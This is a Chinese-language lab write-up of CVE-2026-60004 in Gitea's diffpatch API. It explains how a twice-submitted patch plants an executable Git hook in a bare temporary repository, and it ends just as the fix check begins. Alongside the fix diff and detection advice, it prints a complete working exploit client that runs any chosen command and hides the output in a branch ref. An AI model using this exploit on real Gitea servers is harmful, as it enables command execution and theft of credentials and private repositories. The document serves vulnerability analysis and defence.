摘要

Gitea 1.27.0 的 diffpatch 接口给补丁建的是 bare 临时仓库,工作树和 $GIT_DIR 是同一个目录。同一段补丁提交两次,第二轮 add/add 触发 git apply -3 的三方合并,补丁里的 hooks/post-index-change 被写进工作树,正好落进钩子目录,命令以 uid=1000(git) 执行。1.27.1 把 clone 改成非 bare,第二次提交直接 500。

项

值

CVE

CVE-2026-60004

组件

Gitea diffpatch API

类型

补丁路径 → Git 钩子 → 命令执行

影响版本

1.17–1.26、1.27.0(公开 PoC 范围)

修复版本

1.27.1

实测结果

两次 201 → uid=1000(git)

关键条件

bare 临时仓库 + -3 三方合并 + 100755 钩子名


一、漏洞说明

1、漏洞本身

出问题的是 Gitea 的 diffpatch 接口。任何拥有仓库写权限的账号,往 /api/v1/repos/{owner}/{repo}/diffpatch 提交一段补丁,就能让命令以 Gitea 服务的 OS 用户执行。编号 CVE-2026-60004,CVSS 9.8,已进 CISA KEV。

补丁里的路径是 hooks/post-index-change。没有 .git/ 前缀,也不是路径穿越。Gitea 给补丁应用建的临时仓库是 bare 克隆,工作树和 $GIT_DIR 重合;补丁路径落到工作树,就是落到 $GIT_DIR/hooks/。

一次提交不够。第一轮 apply 只把钩子文件写进索引和树,磁盘上没有;第二轮路径已经在索引里,add/add 触发三方合并,合并结果写进工作树,钩子才出现。

2、受影响的版本与修复状态

公开复现仓库给出的范围是 1.17 到 1.26 以及 1.27.0,1.27.1 修复。NVD 的 CPE 范围到 1.27.1 之前,和这个区间一致。

跑过的版本:

版本

状态

实测行为

1.27.0

受影响

两次 201,命令以 uid=1000(git) 执行

1.27.1

修复

第二次 500,无输出

上游的修复记录在 1.27.1 的 changelog:

refactor: git patch apply (#38637) (#38638)

两版在 services/repository/files/patch.go 里的关键差异是一行 clone 参数:

-	if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+	// here must NOT use bare repo, because the following git commands might operate working tree ("--index") directly
+	if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

没有独立的临时缓解,只有升级。


二、影响组件与攻击面

1、组件定位

入口在 routers/api/v1/repo/patch.go,handler 只做参数组装。真正干活的是 services/repository/files/patch.go:

ApplyDiffPatch
  → gitPatchPrepare
    → NewTemporaryUploadRepository
    → t.Clone(ctx, opts.OldBranch, true)      // 1.27.0:bare
    → t.SetDefaultIndex                        // git read-tree HEAD
  → git apply --index --recount --cached ... -3
  → t.WriteTree → t.CommitTree → t.Push

apply 带 -3 的条件是 Git 版本不低于 2.32。容器里是 2.54.0,所以这条路径一定带三方合并。

问题不在 Web 路由,也不在权限中间件,在补丁应用服务给临时仓库选的目录布局。

2、攻击面

需要认证,且对目标仓库有写权限,不需要管理员。默认开放注册的实例,注册一个账号、建一个私有仓库,两个条件就齐了。

攻击只用 HTTP API,不需要 Git 客户端、管理员令牌或特制请求头。命令以 Gitea 进程的 OS 用户执行;官方容器里是 uid 1000 的 git,能读 /data/gitea/conf/app.ini、SQLite 数据库和所有仓库对象。

没有权限打不动:

$ cd /opt/gitea-lab
$ GITEA_PASSWORD='Attacker123!' python3 negative.py
[anon] 404
[viewer-auth] 200 viewer
[viewer-diffpatch] 404 {"message":"not found","url":"http://127.0.0.1:3000/api/swagger"}
[wrong-password] 401 {"message":"invalid username, password or token","url":"http://127.0.0.1:3000/ap

匿名 404,私有仓库对未认证用户直接隐藏;viewer 对攻击者的私有仓库同样 404;密码错误停在 401。

negative.py:

"""负向对照:匿名、无权限用户、错误密码。"""
import sys
sys.path.insert(0, "/opt/gitea-lab")
import json
import urllib.request
import lab

BASE = "http://127.0.0.1:3000"

c = lab.Client(BASE, "attacker", "Attacker123!")
sc, repos = c.api("GET", "/api/v1/user/repos")
names = [r["full_name"] for r in repos]
print("[repos]", sc, names[:5])
target = names[0]
patch = lab.build_patch("hooks/post-index-change", "100755", lab.build_hook("id", "leak-neg"))

# 匿名
req = urllib.request.Request(
    f"{BASE}/api/v1/repos/{target}/diffpatch",
    data=json.dumps({"content": patch}).encode(),
    method="POST",
    headers={"Content-Type": "application/json"},
)
try:
    with urllib.request.urlopen(req, timeout=10) as r:
        print("[anon]", r.status)
except Exception as e:
    print("[anon]", getattr(e, "code", type(e).__name__))

# viewer 无权限
v = lab.Client(BASE, "viewer", "Viewer123!")
sc, body = v.api("GET", "/api/v1/user")
print("[viewer-auth]", sc, body if isinstance(body, str) else body.get("login"))
sc, body = v.api("POST", f"/api/v1/repos/{target}/diffpatch", {"content": patch})
print("[viewer-diffpatch]", sc, str(body)[:160])

# 错误密码
w = lab.Client(BASE, "attacker", "wrong-password")
sc, body = w.api("GET", "/api/v1/user")
print("[wrong-password]", sc, str(body)[:80])

3、触发条件

缺一条都打不通:

  1. 服务端用 bare 仓库做补丁应用的临时工作区。

  2. apply 带 --index 和 -3,且 Git 版本不低于 2.32。

  3. 攻击者能控制补丁里的路径,且路径不以 .git/ 开头。

  4. 路径名命中 Git 钩子名,文件模式是 100755。

  5. 需要第二次提交,让同路径已经在索引里,触发 add/add 三方合并。

  6. 同一次 apply 的索引更新会触发 post-index-change。


三、危害

1、命令执行落在什么地方

命令不在 HTTP 处理函数的栈上跑,在临时仓库的钩子里跑,身份是 Gitea 的 OS 用户。钩子执行时打印:

uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
/data/gitea/tmp/local-repo/upload.git2571823231

前两行是 id 和 pwd。工作目录和 Git 目录是同一个路径;完整的 git rev-parse 与钩子文件属性在「执行上下文有多深」这一节。落点是 /data/gitea/tmp/local-repo/upload.git<随机数>/,身份是 git。

2、攻击者能拿到的效果

Gitea 进程权限下的任意命令执行。容器里至少能:

  • 读 /data/gitea/conf/app.ini,里面有数据库连接串、密钥、SMTP 配置。

  • 读 SQLite 数据库,拿到用户、令牌、仓库元数据。

  • 读所有仓库对象,包括私有仓库。

  • 往仓库里写对象和 ref,篡改代码或植入后门。

  • 实例配了外部数据库或对象存储,就能用配置文件里的凭据继续横向。

输出不回显在 HTTP 响应里。钩子从 objects/info/alternates 找到原仓库,把输出写成 blob,再 mktree、commit-tree、update-ref 到 refs/heads/leak-*;攻击者事后用 smart HTTP 取走。日志里只有两次 201。

3、边界

这个洞没法脱离 Gitea 的权限边界。

  • 官方容器、默认用户、只挂 /data:命令执行限制在 git 用户和挂载进来的数据,不能直接逃逸到宿主机。

  • Gitea 以 root 运行、挂载 docker socket、或把宿主机目录大面积挂进来:同一份命令执行能碰到更大的面。

  • 数据库和对象存储在外网、凭据在 app.ini 里:攻击者可以带着凭据继续打外部服务。

它是逻辑层漏洞,不是内核漏洞。不提供内存破坏或容器逃逸;上限就是 Gitea 进程的权限和挂载。验证覆盖官方容器加 SQLite,其他数据库或编排形态要单独确认。


四、复现过程

1、目录结构

/opt/gitea-lab/
├── data-1.27.0/          # 1.27.0 的 SQLite 与仓库数据
├── data-1.27.1/          # 1.27.1 的对照数据
├── gitea_up.sh           # 起 1.27.0 / 1.27.1:重置数据、启动、等 API、建用户
├── lab.py                # 认证、建仓、提交 N 次、取回 ref
├── make_patch.py         # 把 hook.sh 包成 hooks/post-index-change 新文件补丁
├── mechanism3.sh         # 纯 git 两轮:第一轮写树,第二轮 add/add
├── mechanism_fixed.sh    # 非 bare 布局:钩子落工作树,不执行
├── mitigation.sh         # core.hooksPath=/dev/null 对照
├── inspect_live.sh       # 执行期间抓 ps 和临时目录
├── negative.py           # 匿名、viewer 越权、错误密码
└── poc_main.py           # 公开 PoC(0xBlackash)

2、环境

$ uname -r
6.6.15-amd64
$ docker version --format '{{.Server.Version}}'
29.6.1

镜像第一次要从 ghcr.io 拉:

$ docker pull ghcr.io/go-gitea/gitea:1.27.0
$ docker pull ghcr.io/go-gitea/gitea:1.27.1

起 1.27.0。数据库用 SQLite,安装锁打开,注册关闭:

# 数据目录 + 只绑回环
$ docker rm -f gitea-1.27.0 2>/dev/null || true
$ docker run -d --name gitea-1.27.0 \
  -p 127.0.0.1:3000:3000 \
  -v /opt/gitea-lab/data-1.27.0:/data \
  -e GITEA__database__DB_TYPE=sqlite3 \
  -e GITEA__security__INSTALL_LOCK=true \
  -e GITEA__server__ROOT_URL=http://127.0.0.1:3000/ \
  -e GITEA__server__HTTP_PORT=3000 \
  -e GITEA__service__DISABLE_REGISTRATION=true \
  ghcr.io/go-gitea/gitea:1.27.0
# 轮询到 HTTP 200 再继续(-s 静默,成功不打印)
$ until curl -sf -o /dev/null http://127.0.0.1:3000/api/v1/version; do sleep 2; done

容器里的版本:

$ docker exec gitea-1.27.0 sh -c 'git --version; gitea --version'

3、补丁

补丁是一段钩子脚本加一个“新建可执行文件”的 diff。钩子做三件事:从 alternates 找到原仓库、执行命令、把输出写回一个 ref。

#!/bin/sh
# 从 alternates 找到原仓库
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
  /*) ;;
  *) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
# 执行命令,输出写成 blob,再挂到 refs/heads/leak-*
output_blob=$({ /bin/sh -c 'id; pwd'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=lab GIT_AUTHOR_EMAIL=lab@poc.local GIT_COMMITTER_NAME=lab GIT_COMMITTER_EMAIL=lab@poc.local git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/leak-xxxx "$commit" || exit 7
exit 0

id; pwd 只是示例;钩子大小随命令长度变化,「执行上下文有多深」里的输出用了更长的命令,所以那里是 1061。

补丁头把它声明成 100755 的新文件:

diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000000000000000000000000000000000000..<blob>
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,<N> @@
+#!/bin/sh
+...

补丁由 lab.py 的 build_patch() 生成:路径、模式、内容三个参数直接进补丁头。公开 PoC 是 Ashraf Zaryouh(0xBlackash)的 0xBlackash/CVE-2026-60004;lab.py 是可控变体,用来跑提交次数、路径、模式、钩子名的矩阵。

4、客户端与容器启动

创建一个普通账号,不给管理员:

$ docker exec -u git gitea-1.27.0 gitea admin user create \
    --username attacker --password 'Attacker123!' \
    --email attacker@example.com --must-change-password=false

客户端只用 Python 标准库加 git:先认证、建仓,再提交补丁。代码在 lab.py 的 Client 类里,认证走 Basic Auth,建仓后循环 POST 补丁。

lab.py:

#!/usr/bin/env python3
"""CVE-2026-60004 客户端:认证、建仓、提交补丁、取回 ref。"""
import argparse, base64, hashlib, json, os, secrets, shlex, shutil
import subprocess, sys, tempfile, urllib.error, urllib.parse, urllib.request

TIMEOUT = 30.0
UA = "gitea-lab/1.0"


class Client:
    def __init__(self, base, user, pw):
        self.base = base.rstrip("/")
        self.auth = "Basic " + base64.b64encode(f"{user}:{pw}".encode()).decode()

    def api(self, method, path, payload=None):
        data = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
        req = urllib.request.Request(self.base + path, data=data, method=method, headers={
            "Accept": "application/json", "Authorization": self.auth,
            "Content-Type": "application/json", "User-Agent": UA})
        try:
            with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
                raw = r.read()
                return r.status, json.loads(raw) if raw else None
        except urllib.error.HTTPError as e:
            return e.code, e.read().decode("utf-8", "replace")[:300]


def blob_oid(content):
    return hashlib.sha1(b"blob %d\0" % len(content) + content).hexdigest()


def build_patch(path, mode, content):
    n = content.count(b"\n")
    # new file diff:路径 + 模式 + blob oid
    hdr = (f"diff --git a/{path} b/{path}\n"
           f"new file mode {mode}\n"
           f"index {'0'*40}..{blob_oid(content)}\n"
           f"--- /dev/null\n+++ b/{path}\n"
           f"@@ -0,0 +1,{n} @@\n").encode()
    return (hdr + b"".join(b"+" + l for l in content.splitlines(keepends=True))).decode()


def build_hook(cmd, leak_ref):
    qcmd = shlex.quote(cmd)
    qref = shlex.quote(f"refs/heads/{leak_ref}")
    # shared clone 的 alternates 指向原仓库;输出写成 blob,再 update-ref 回来
    return ("#!/bin/sh\n"
            '# 从 alternates 找到原仓库\n'
            'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
            'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
            'case "$origin_objects" in\n'
            '  /*) ;;\n'
            '  *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
            'esac\n'
            'origin_git=${origin_objects%/objects}\n'
            '[ "$origin_git" != "$origin_objects" ] || exit 3\n'
            '# 执行命令,输出写成 blob,再挂到 refs/heads/leak-*\n'
            f"output_blob=$({{ /bin/sh -c {qcmd}; "
            'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
            'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
            'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
            'git --git-dir="$origin_git" mktree) || exit 5\n'
            f'commit=$(printf "command output\\n" | GIT_AUTHOR_NAME=lab GIT_AUTHOR_EMAIL=lab@poc.local '
            'GIT_COMMITTER_NAME=lab GIT_COMMITTER_EMAIL=lab@poc.local '
            'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
            f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n'
            "exit 0\n").encode()


def run_git(args, env=None):
    r = subprocess.run(["git", *args], env=env or os.environ,
                       stdin=subprocess.DEVNULL, stdout=subprocess.PIPE,
                       stderr=subprocess.PIPE, timeout=TIMEOUT)
    if r.returncode != 0:
        raise RuntimeError(r.stderr.decode("utf-8", "replace")[:300])
    return r.stdout


def fetch_output(client, owner, repo, ref):
    remote = f"{client.base}/{urllib.parse.quote(owner)}/{urllib.parse.quote(repo)}.git"
    with tempfile.TemporaryDirectory(prefix="lab-") as tmp:
        bare = os.path.join(tmp, "f.git")
        cfg = os.path.join(tmp, "auth.config")
        with open(cfg, "w") as f:
            f.write(f"[http]\n\textraHeader = Authorization: {client.auth}\n")
        env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
        run_git(["init", "--bare", "--quiet", bare], env)
        run_git(["-C", bare, "-c", f"include.path={cfg}", "fetch", "--quiet", "--no-tags",
                 remote, f"refs/heads/{ref}"], env)
        return run_git(["-C", bare, "show", "FETCH_HEAD:output"], env)


def main():
    p = argparse.ArgumentParser()
    p.add_argument("url")
    p.add_argument("user")
    p.add_argument("cmd")
    p.add_argument("--patches", type=int, default=1)
    p.add_argument("--path", default="hooks/post-index-change")
    p.add_argument("--mode", default="100755")
    p.add_argument("--label", default="")
    p.add_argument("--benign", action="store_true")
    a = p.parse_args()

    pw = os.environ.get("GITEA_PASSWORD", "")
    c = Client(a.url, a.user, pw)
    sc, ver = c.api("GET", "/api/v1/version")
    print(f"[version] {sc} {ver}")
    sc, acct = c.api("GET", "/api/v1/user")
    owner = acct["login"]
    print(f"[auth] {sc} user={owner}")

    repo = "lab-" + secrets.token_hex(4)
    sc, _ = c.api("POST", "/api/v1/user/repos", {
        "name": repo, "private": True, "auto_init": True, "default_branch": "main"})
    print(f"[repo] {sc} {owner}/{repo}")

    leak = "leak-" + secrets.token_hex(3)
    if a.benign:
        patch = build_patch("notes.txt", "100644", b"hello\n")
        sc, body = c.api("POST", f"/api/v1/repos/{owner}/{repo}/diffpatch", {"content": patch})
        print(f"[benign] HTTP {sc} {str(body)[:160]}")
        return
    hook = build_hook(a.cmd, leak)
    patch = build_patch(a.path, a.mode, hook)
    # 第一次只写树;第二次 add/add 触发三方合并
    for i in range(a.patches):
        sc, body = c.api("POST", f"/api/v1/repos/{owner}/{repo}/diffpatch", {"content": patch})
        print(f"[patch {i+1}/{a.patches}] HTTP {sc} {str(body)[:120]}")

    try:
        raw = fetch_output(c, owner, repo, leak)
        print("[output]")
        sys.stdout.write(raw.decode("utf-8", "replace"))
        print(f"\n[result] EXECUTED ref={leak}")
    except Exception as e:
        print(f"[result] NO-OUTPUT ({e})")


if __name__ == "__main__":
    main()

建仓返回 201:

[version] 200 {'version': '1.27.0'}
[auth] 200 user=attacker
[repo] 201 attacker/full-1311b0

第一次提交也返回 201,响应里是普通提交对象:

[status] 201
{
  "content": null,
  "commit": {
    "url": "http://127.0.0.1:3000/api/v1/repos/attacker/full-1311b0/git/commits/824cc69efdaefdc0edf2613758a24b39fbe1c243",
    "sha": "824cc69efdaefdc0edf2613758a24b39fbe1c243",
    …
    "message": "apply-patch\n",

响应体只保留状态码和 commit URL 里的 SHA 前缀,其余用 … 省略;lab.py 只打印前 120 个字符,行尾看起来是断的。

5、两次 201 与钩子执行

一次提交:

$ cd /opt/gitea-lab
$ export GITEA_PASSWORD='Attacker123!'
$ python3 lab.py http://127.0.0.1:3000 attacker 'id; hostname' --patches 1

两次提交:

$ python3 lab.py http://127.0.0.1:3000 attacker 'id; hostname' --patches 2

hostname 是容器 ID,重跑会变;uid 和输出结构不变。

flowchart TD
    A["仓库写权限"] --> B["POST /diffpatch 第一次"]
    B --> C["bare 临时仓库 git apply --cached -3"]
    C --> D["钩子只进索引,不落盘"]
    D --> E["commit / push:钩子进入仓库树"]
    E --> F["POST /diffpatch 第二次"]
    F --> G["新 bare 克隆,HEAD 已有 hooks/post-index-change"]
    G --> H["add/add 三方合并,结果写进工作树"]
    H --> I["工作树 = $GIT_DIR,落到 hooks/"]
    I --> J["索引更新,post-index-change 执行"]

两次提交的差别只有一处:第一次 apply 是新增文件,直接进索引;第二次索引里已有同路径,add/add 走三方合并,合并结果写进工作树。

6、执行上下文有多深

钩子里加一个 sleep 20,在后台跑,趁它挂着看进程:

$ GITEA_PASSWORD='Attacker123!' python3 lab.py http://127.0.0.1:3000 attacker 'sleep 20; id; pwd' --patches 2 &
$ sleep 6
$ docker exec gitea-1.27.0 sh -c 'ps -ef | grep -E "git|post-index|sleep" | grep -v grep'

git apply 的参数和源码里的调用一字不差:--index、--cached、-3 都在。钩子进程的 argv[0] 是 {post-index-chan},Git 按钩子名拉起来的,不是应用层直接 sh 了一个文件。

sleep 20 会让 lab.py 在第二次提交时超时(客户端上限 30 秒)。

同一时刻找临时仓库:

$ docker exec gitea-1.27.0 sh -c 'find /data -maxdepth 8 -name post-index-change'
$ wait

PID、upload.git 后面的随机数字每次不同。

再往里一层,钩子打印:

$ GITEA_PASSWORD='Attacker123!' python3 lab.py http://127.0.0.1:3000 attacker \
  'id; pwd; git rev-parse --absolute-git-dir; ls -l hooks/post-index-change' --patches 2

从 HTTP 请求到 OS 命令,三层:请求进 handler;handler 建 bare 临时仓库跑 git apply -3;apply 更新索引时拉起 hooks/post-index-change。第三层的身份是 git,工作目录是临时仓库,$GIT_DIR 也是同一个目录。


五、漏洞分析

1、diffpatch 的补丁怎么应用

按时间排:

  1. 校验仓库未归档、调用者有权限、补丁参数合法。

  2. NewTemporaryUploadRepository 创建一个临时目录。

  3. t.Clone(ctx, opts.OldBranch, true) 把原仓库 bare 克隆到临时目录。

  4. t.SetDefaultIndex() 执行 git read-tree HEAD,把 HEAD 的树放进索引。

  5. git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 应用补丁。

  6. git write-tree、git commit-tree、git push 把结果推回原仓库。

问题在第 3 步和第 5 步的组合:bare 克隆让临时目录同时是工作树和 $GIT_DIR;-3 让 apply 在 add/add 时走三方合并,三方合并要把结果写到工作树。

2、路径与权限校验为什么没拦住

handler 只校验“有没有权限改这个仓库”,没有校验“补丁允许改哪些路径”。git apply 自己有一层保护,只拒绝 .git/ 前缀:

$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2 --path .git/hooks/post-index-change

hooks/post-index-change 不以 .git/ 开头,git apply 认为它是合法的仓库内路径,放行。

--cached 的直觉是“只写索引、不碰工作树”,但那是直接应用。add/add 走 -3 时,合并结果要落到工作树,这条分支不受 --cached 的字面约束。校验层看到的只是“一个普通新增文件”。

权限侧也没拦住:仓库写权限足够,不需要管理员;开放注册时,陌生人自己建一个仓库就同时拿到认证和写权限。

正常的补丁操作不受影响:

$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --benign

同一个接口,同样是新建文件,换成 notes.txt 就只是普通提交,没有钩子,也没有命令执行。危险判据只有一条:补丁路径能不能落到 hooks/ 下。

3、第二轮多出来的那次合并

纯 git 里可以完全离开 Gitea 重放这条链。先准备原仓库和补丁:

# 原仓库
$ T=$(mktemp -d /tmp/gitmech.XXXXXX)
$ cd "$T"
$ git init -q --bare origin.git
$ git -C origin.git symbolic-ref HEAD refs/heads/main
$ git clone -q origin.git seed
$ cd seed
$ git config user.email a@b
$ git config user.name a
$ echo hi > README
$ git add README
$ git commit -qm init
$ git push -q origin HEAD:main
$ cd ..
# 生成只写标记的钩子补丁
$ cat > /tmp/hook.sh <<'EOS'
#!/bin/sh
echo "HOOK_RAN pwd=$(pwd) git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null)" >> /tmp/hook_ran
EOS
$ chmod +x /tmp/hook.sh
$ python3 /opt/gitea-lab/make_patch.py /tmp/hook.sh > /tmp/hook.patch

tree 对不上,先 cat /tmp/hook.sh 对内容;钩子内容不同,tree 就不同。

make_patch.py:

#!/usr/bin/env python3
"""把 hook.sh 包成 hooks/post-index-change 的新增文件补丁。"""
import hashlib, sys

hook_path = sys.argv[1] if len(sys.argv) > 1 else "/tmp/hook.sh"
content = open(hook_path, "rb").read()
oid = hashlib.sha1(b"blob %d\0" % len(content) + content).hexdigest()  # git blob oid
lines = content.count(b"\n")

# 路径 + 100755 + blob oid
hdr = (
    f"diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
    f"new file mode 100755\n"
    f"index {'0'*40}..{oid}\n"
    f"--- /dev/null\n"
    f"+++ b/hooks/post-index-change\n"
    f"@@ -0,0 +1,{lines} @@\n"
)
out = hdr.encode() + b"".join(b"+" + l for l in content.splitlines(keepends=True))
sys.stdout.buffer.write(out)

第一轮:bare 克隆、read-tree、apply、commit、push。钩子文件只在索引和树里,磁盘上没有:

$ git clone -q --bare -s origin.git temp1.git
$ cd temp1.git
$ git config core.bare
true
$ git read-tree HEAD
$ git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch
$ ls hooks/post-index-change
ls: 无法访问 'hooks/post-index-change': 没有那个文件或目录
$ tree=$(git write-tree)
$ echo $tree
b72efd6ccb4217742c4bfc51f188aedc0c862d67
$ commit=$(printf 'x\n' | GIT_AUTHOR_NAME=a GIT_AUTHOR_EMAIL=a@b GIT_COMMITTER_NAME=a GIT_COMMITTER_EMAIL=a@b git commit-tree "$tree" -p HEAD)
$ echo $commit
2aee2d8a242e549b2a01a05eb9a8e1b86642a1f4
$ git update-ref refs/heads/main "$commit"
$ git push -q origin refs/heads/main:refs/heads/main

第二轮重新 bare 克隆。HEAD 的树里已经有 hooks/post-index-change,read-tree 把它放进索引;apply 发现索引里已有同路径,patch 又是 new file,形成 add/add,-3 走三方合并:

$ git clone -q --bare -s origin.git temp2.git
$ cd temp2.git
$ git read-tree HEAD
$ git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch
$ ls -l hooks/post-index-change
-rwxr-xr-x 1 root root 110 11月13日 01:27 hooks/post-index-change
$ cat /tmp/hook_ran
HOOK_RAN pwd=/tmp/gitmech3.Y7YrCi/temp2.git git_dir=/tmp/gitmech3.Y7YrCi/temp2.git

第二轮 apply 的 stderr:

回落到直接应用...
执行三方合并...
成功应用补丁到 'hooks/post-index-change'。

“回落到直接应用”是第一轮:新增文件直接进索引,不碰工作树。“执行三方合并”是第二轮:索引里已有同路径,必须合并,合并结果写工作树。两次提交的差别就在这一行。

mechanism3.sh:

#!/bin/bash
# 纯 git 两轮:第一轮写树,第二轮 add/add 触发三方合并。
set -u
T=$(mktemp -d /tmp/gitmech3.XXXXXX)
rm -f /tmp/hook_ran
echo "tmp=$T"

cat > /tmp/hook.sh <<'EOS'
#!/bin/sh
echo "HOOK_RAN pwd=$(pwd) git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null)" >> /tmp/hook_ran
EOS
chmod +x /tmp/hook.sh
python3 "$(dirname "$0")/make_patch.py" /tmp/hook.sh > /tmp/hook.patch

cd "$T"
git init -q --bare origin.git
git -C origin.git symbolic-ref HEAD refs/heads/main
git clone -q origin.git seed
cd seed
git config user.email a@b
git config user.name a
echo hi > README
git add README
git commit -qm init
git push -q origin HEAD:main
cd ..

round() {
  local n=$1
  cd "$T"
  rm -rf temp$n.git
  git clone -q --bare -s origin.git temp$n.git
  cd temp$n.git
  echo "--- round $n: bare=$(git config core.bare)"
  git read-tree HEAD
  echo "[$n] hooks before apply: $(ls hooks/post-index-change 2>&1)"
  git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch; echo "[$n] apply rc=$?"
  echo "[$n] hooks after apply: $(ls -l hooks/post-index-change 2>&1)"
  echo "[$n] marker after apply: $(cat /tmp/hook_ran 2>&1)"
  local tree commit
  tree=$(git write-tree)
  commit=$(printf 'x\n' | GIT_AUTHOR_NAME=a GIT_AUTHOR_EMAIL=a@b GIT_COMMITTER_NAME=a GIT_COMMITTER_EMAIL=a@b git commit-tree "$tree" -p HEAD)
  git update-ref refs/heads/main "$commit"
  echo "[$n] commit=$commit tree=$tree"
  echo "[$n] marker after commit: $(cat /tmp/hook_ran 2>&1)"
  git push -q origin refs/heads/main:refs/heads/main; echo "[$n] push rc=$?"
  echo "[$n] marker after push: $(cat /tmp/hook_ran 2>&1)"
}

# 第一轮:钩子只进索引和树
round 1
# 第二轮:HEAD 已有同路径,apply 走三方合并
round 2
echo "=== origin HEAD tree ==="
git --git-dir="$T/origin.git" ls-tree -r --name-only HEAD | head
echo "=== origin refs ==="
git --git-dir="$T/origin.git" for-each-ref --format='%(refname)' | head

4、合并结果落到哪

bare 仓库没有独立工作树,工作树路径与 $GIT_DIR 重合。补丁路径 hooks/post-index-change 在第二轮被三方合并写到工作树,落点就是 $GIT_DIR/hooks/post-index-change,正好是 Git 加载钩子的目录。

flowchart LR
    P["补丁路径 hooks/post-index-change"]
    subgraph BARE["bare 临时仓库 upload.git…"]
        W["工作树 = 仓库目录"]
        G["$GIT_DIR = 仓库目录"]
        H["钩子目录 = $GIT_DIR/hooks"]
    end
    P --> W
    W -->|"同一个目录"| G
    G --> H
    H -->|"名字匹配 + 100755"| X["post-index-change 执行"]

五条规则:

  1. bare 仓库没有独立工作树,工作树路径与 $GIT_DIR 重合。

  2. git apply 同时带 --index、--cached、-3。第一轮是新增文件,直接进索引;第二轮索引里已经有同路径,add/add 触发三方合并,合并结果写进工作树。

  3. 补丁路径由攻击者控制,只要不以 .git/ 开头,git apply 不会拒绝。

  4. 文件名必须命中 Git 认可的钩子名,模式必须是 100755。

  5. git apply 更新索引时会触发 post-index-change,不需要等下一次提交。

5、没有调试日志时为什么看不到

默认日志下这条链几乎不可见:

  • 两次 POST /diffpatch 都是 201,响应体是普通提交对象,没有命令字符串,也没有报错。

  • 命令输出不经过 HTTP 响应,而是写进 refs/heads/leak-*,攻击者事后取走。

  • 临时仓库用完就删,/data/gitea/tmp/local-repo/upload.git* 只在执行期间存在。

  • 钩子执行只留下 git apply 和 post-index-change 的进程,没有应用层日志。

钩子在一次 apply 里执行不止一次。用计数文件看:

$ docker exec gitea-1.27.0 sh -c 'rm -f /tmp/hook_count'
$ python3 lab.py http://127.0.0.1:3000 attacker 'echo hit >> /tmp/hook_count; wc -l < /tmp/hook_count' --patches 2
$ docker exec gitea-1.27.0 sh -c 'wc -l < /tmp/hook_count'

同一次 apply 里 post-index-change 被触发了两次。不开 DEBUG3、不看进程树、不查临时目录,日志里只是两次正常的补丁提交。

检测盯三个点:diffpatch 请求里的路径是否含 hooks/;临时仓库目录的 hooks/ 是否出现新文件;git apply 是否带 -3 且临时仓库 core.bare=true。只看 HTTP 状态码看不出来。

6、同一路径的另一种写法

固定两次提交,换路径、模式、钩子名:

路径

模式

钩子名是否被 apply 触发

结果

hooks/post-index-change

100755

是

EXECUTED

hooks/pre-commit

100755

否

NO-OUTPUT

hooks/post-checkout

100755

否

NO-OUTPUT

hooks/post-merge

100755

否

NO-OUTPUT

hooks/post-index-change

100644

名字对,但不可执行

NO-OUTPUT

post-index-change(仓库根)

100755

不在 hooks 目录

NO-OUTPUT

.git/hooks/post-index-change

100755

路径被 git 拒绝

HTTP 500

对应的命令和输出:

$ cd /opt/gitea-lab
$ export GITEA_PASSWORD='Attacker123!'
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2 --path .git/hooks/post-index-change
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2 --path hooks/pre-commit
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2 --mode 100644
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2 --path post-index-change

三个没打中的写法:

  • 钩子名不对:文件确实落进了 hooks/,但 git apply 只触发 post-index-change,pre-commit、post-checkout、post-merge 这条路径上没人调用。

  • 模式不对:100644 的文件在 hooks/ 里也不会被执行,Git 要求钩子可执行。

  • 路径不对:.git/hooks/... 被 git apply 直接拒绝,返回 500;放在仓库根的 post-index-change 又不在钩子查找目录里。

换一种写法就失效,说明这不是通用路径穿越,而是目录折叠加钩子命名的组合。


六、修复建议

1、上游 1.27.1 的修复

最直接的一层是升级。起 1.27.1,跑同样的两次提交:

$ bash /opt/gitea-lab/gitea_up.sh 1.27.1 3001
$ cd /opt/gitea-lab
